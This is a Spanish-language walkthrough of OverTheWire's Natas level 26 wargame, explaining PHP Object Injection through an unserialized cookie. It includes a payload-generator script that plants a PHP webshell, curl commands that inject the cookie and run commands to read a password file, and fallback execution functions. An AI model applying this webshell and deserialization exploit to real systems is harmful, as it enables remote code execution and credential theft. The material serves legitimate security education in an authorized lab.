Natas Nivel 26 a 27

Nivel oficial: http://natas26.natas.labs.overthewire.org

Este nivel introduce PHP Object Injection (deserializacion insegura): la aplicacion pasa una cookie directamente a unserialize() sin validar su contenido. Eso permite construir un objeto PHP arbitrario que, al ser destruido al final de la peticion, ejecuta codigo en el servidor y escribe un webshell.

Este ejercicio se realiza en el entorno de laboratorio legal y autorizado de OverTheWire (https://overthewire.org/wargames/natas/).


Objetivo

Abusar de la deserializacion de una cookie para instanciar un objeto Logger manipulado cuyo metodo magico __destruct() escriba un archivo .php con un payload en el webroot. Luego visitar ese archivo para leer la contrasena de natas27.


Que aprendes

Concepto / ComandoPara que sirve
unserialize() en PHPReconstruye un objeto PHP desde una cadena; ejecuta metodos magicos automaticamente
Metodos magicos __wakeup / __destructSe invocan al deserializar y al destruir el objeto; son el vector de ejecucion
PHP Object InjectionPasar a unserialize() un objeto de clase arbitraria con propiedades controladas
base64_encode / base64_decodeLa cookie suele ir en base64; hay que codificar el payload en el mismo formato
Webshell minimoArchivo .php con <?php system($_GET['cmd']); ?> para ejecutar comandos
curl / navegadorVisitar el webshell para exfiltrar la contrasena

Concepto clave: deserializacion insegura / PHP Object Injection

PHP permite serializar cualquier objeto a cadena (serialize()) y reconstruirlo (unserialize()). Durante la reconstruccion se invocan automaticamente los metodos magicos definidos en la clase:

  • __wakeup() — justo despues de deserializar.
  • __destruct() — cuando el objeto es destruido (al final del script).

Si el atacante controla el contenido que llega a unserialize() y en el codigo existe una clase cuyo __destruct() realiza operaciones peligrosas (escribir ficheros, ejecutar comandos, etc.), puede fabricar una cadena serializada que instancie esa clase con las propiedades que quiera. Esta tecnica se llama POP chain (Property-Oriented Programming) cuando encadena varios objetos; aqui la cadena es de un solo eslabon porque la clase Logger hace todo en su propio destructor.

La vulnerabilidad fundamental es confiar en datos que el cliente puede modificar (una cookie) como si fueran datos internos de la aplicacion.


Paso a paso

1. Reconocimiento: leer el codigo fuente

Accede al nivel con las credenciales de natas26 (<pass_natas26>):

http://natas26.natas.labs.overthewire.org

El enlace "sourcecode" (o el parametro ?showsource=1 segun la version) muestra el PHP del nivel. Localiza:

  • La clase Logger y sus propiedades (tipicamente $logFile, $exitMsg o nombres similares).
  • El metodo __destruct(): suele hacer algo equivalente a file_put_contents($this->logFile, $this->exitMsg).
  • La linea donde se llama a unserialize(base64_decode($_COOKIE['drawing'])) (el nombre exacto de la cookie puede variar).

Nota importante: los nombres exactos de las propiedades ($logFile, $exitMsg, etc.) dependen del sourcecode real del nivel. Lee el codigo antes de construir el payload y adapta los nombres de las propiedades al lo que veas ahi.

2. Construir el objeto malicioso en PHP

Crea un script PHP local (gen_payload.php) que defina una copia de la clase Logger con las mismas propiedades que viste en el sourcecode, pero con los valores que tu controlas:

<?php
// Adapta los nombres de clase y propiedades exactamente como aparecen en el sourcecode de natas26
class Logger {
    private $logFile;   // nombre exacto segun sourcecode
    private $exitMsg;   // nombre exacto segun sourcecode
 
    function __construct() {
        // Ruta donde se escribira el webshell dentro del webroot de natas26
        $this->logFile = "/var/www/natas/natas26/webshell.php";
        // Contenido del fichero: un webshell minimo
        $this->exitMsg = "<?php system(\$_GET['cmd']); ?>";
    }
}
 
$obj = new Logger();
$serialized = serialize($obj);
echo base64_encode($serialized) . "\n";
?>

Ejecuta el script para obtener el payload codificado:

php gen_payload.php

La salida sera una cadena en base64 similar a (ejemplo ilustrativo, la tuya sera diferente):

Tzo2OiJMb2dnZXIiOjI6e3M6...base64...

3. Inyectar el payload como cookie

Usa curl para enviar una peticion al nivel con la cookie manipulada. Sustituye <PAYLOAD_BASE64> por la cadena que genero el script anterior y <pass_natas26> por la contrasena real:

curl -s \
  -u natas26:<pass_natas26> \
  --cookie "drawing=<PAYLOAD_BASE64>" \
  "http://natas26.natas.labs.overthewire.org/index.php"

Al terminar la peticion PHP destruye todos los objetos, __destruct() se ejecuta y escribe el archivo webshell.php en el webroot.

4. Verificar que el webshell existe

curl -s \
  -u natas26:<pass_natas26> \
  "http://natas26.natas.labs.overthewire.org/webshell.php?cmd=id"

Si la respuesta incluye algo como uid=...www-data... el webshell esta activo.

5. Leer la contrasena de natas27

curl -s \
  -u natas26:<pass_natas26> \
  "http://natas26.natas.labs.overthewire.org/webshell.php?cmd=cat+/etc/natas_webpass/natas27"

La respuesta contendra la contrasena (<pass_natas27>).


Por que funciona

unserialize() en PHP no es una operacion neutra: reconstruye un grafo de objetos completo, incluyendo su clase y sus propiedades, e invoca los metodos magicos sin ninguna intervencion del programador. Si el atacante puede elegir que clase se instancia y con que valores de propiedades, puede redirigir el flujo de ejecucion hacia cualquier metodo peligroso que exista en el codigo cargado.

La clave de este nivel es que la clase Logger ya existe en el codigo de la aplicacion y su destructor escribe un fichero con contenido arbitrario. El atacante no necesita introducir codigo nuevo: solo necesita fabricar una instancia de esa clase con $logFile apuntando a una ruta accesible via HTTP y $exitMsg conteniendo un webshell PHP. El motor de PHP hace el resto al destruir el objeto.


Errores comunes

ErrorCausaSolucion
El fichero .php no se creaNombres de propiedades en el payload no coinciden con el sourcecode realLeer el sourcecode con atencion; PHP es sensible al tipo (private/protected/public) en la serializacion
Error de deserializacion / objeto ignoradoLa clase Logger no esta definida cuando se llama a unserialize()Asegurate de que la aplicacion incluye el fichero de definicion de la clase antes del unserialize(); si no, el objeto se crea como __PHP_Incomplete_Class y __destruct() no se invoca
Ruta del webshell no accesible via HTTPSe escribio en una ruta fuera del webrootBusca en el sourcecode donde se guardan otros ficheros del nivel para deducir la ruta correcta del webroot
El webshell se crea pero no ejecuta comandosLa funcion system() esta deshabilitada (disable_functions)Probar alternativas: passthru(), shell_exec(), exec(), o leer ficheros directamente con file_get_contents()

Pasar al siguiente nivel

La contrasena obtenida (<pass_natas27>) se usa para acceder a:

http://natas27.natas.labs.overthewire.org

Usuario: natas27 | Contrasena: <pass_natas27>


Conexiones